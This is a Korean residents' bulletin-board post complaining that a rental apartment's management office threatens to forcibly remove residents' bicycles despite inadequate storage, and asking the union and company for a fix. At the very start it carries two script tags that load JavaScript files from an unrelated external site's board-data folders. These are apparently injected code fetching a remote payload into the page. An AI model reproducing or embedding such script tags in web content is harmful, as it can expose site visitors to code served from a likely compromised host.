<SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/gallery/Cups.js></script> <SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/young/brod.js></script> 얼마전,임대아파트 관리사무소 명의의 공고가 입구 현관문에 붙었다.
공고의 내용을 간략히 요약하면, 현관문 앞 자전거가 통행을 방해하니 9월5일 이전까지 개인 철거조치하지 않으면, 강제 철거 하겠다는 내용의 문구 였다.
임대아파트 주거조합원의 현상황을 파악하면 대부분의 조합원이 어린자녀를 두고 있기 때문에 어린이용 자전거를 가구당 1-2개 가량 보유하고 있고,조합원의 출,퇴근용 자전거를 가지고 있는 가구가 다수 있는 걸로 알고 있다.
하지만,실질적으로 자전거를 보관할 수 있는 장소는 한군데 밖에 없는데다가, 그보관의 수도 10여대 정도 밖에 되지 않고 있다.
자건거 보관소의 확보및 입주 조합원의 의견이 수렴되지 않은 상태에서 관리사무소의 일방적인 공고는 참으로 납득하기 어려우며, 입주자 개인소유의 사유재산인 물건을 관리사무소에서 강제 철거 하겠다는 공고도 이해하기 어렵다.
관리사무소의 업무는 입주조합원의 주거 편리를 제공하고,임대아파트의 유지,보전을 위한 것으로 알고 있다. 입주조합원의 입장과 상황을 배려하지 않은 관리사무소의 이런 사업들은 자재 되어야 하며, 노동조합 주택복지부및 회사에서도 직원들을 위한 편의 및 복지 시설인 만큼 많은 관심과 관리 감독을 해주기를 부탁합니다.
빠른 시정을 부탁드리겠습니다.
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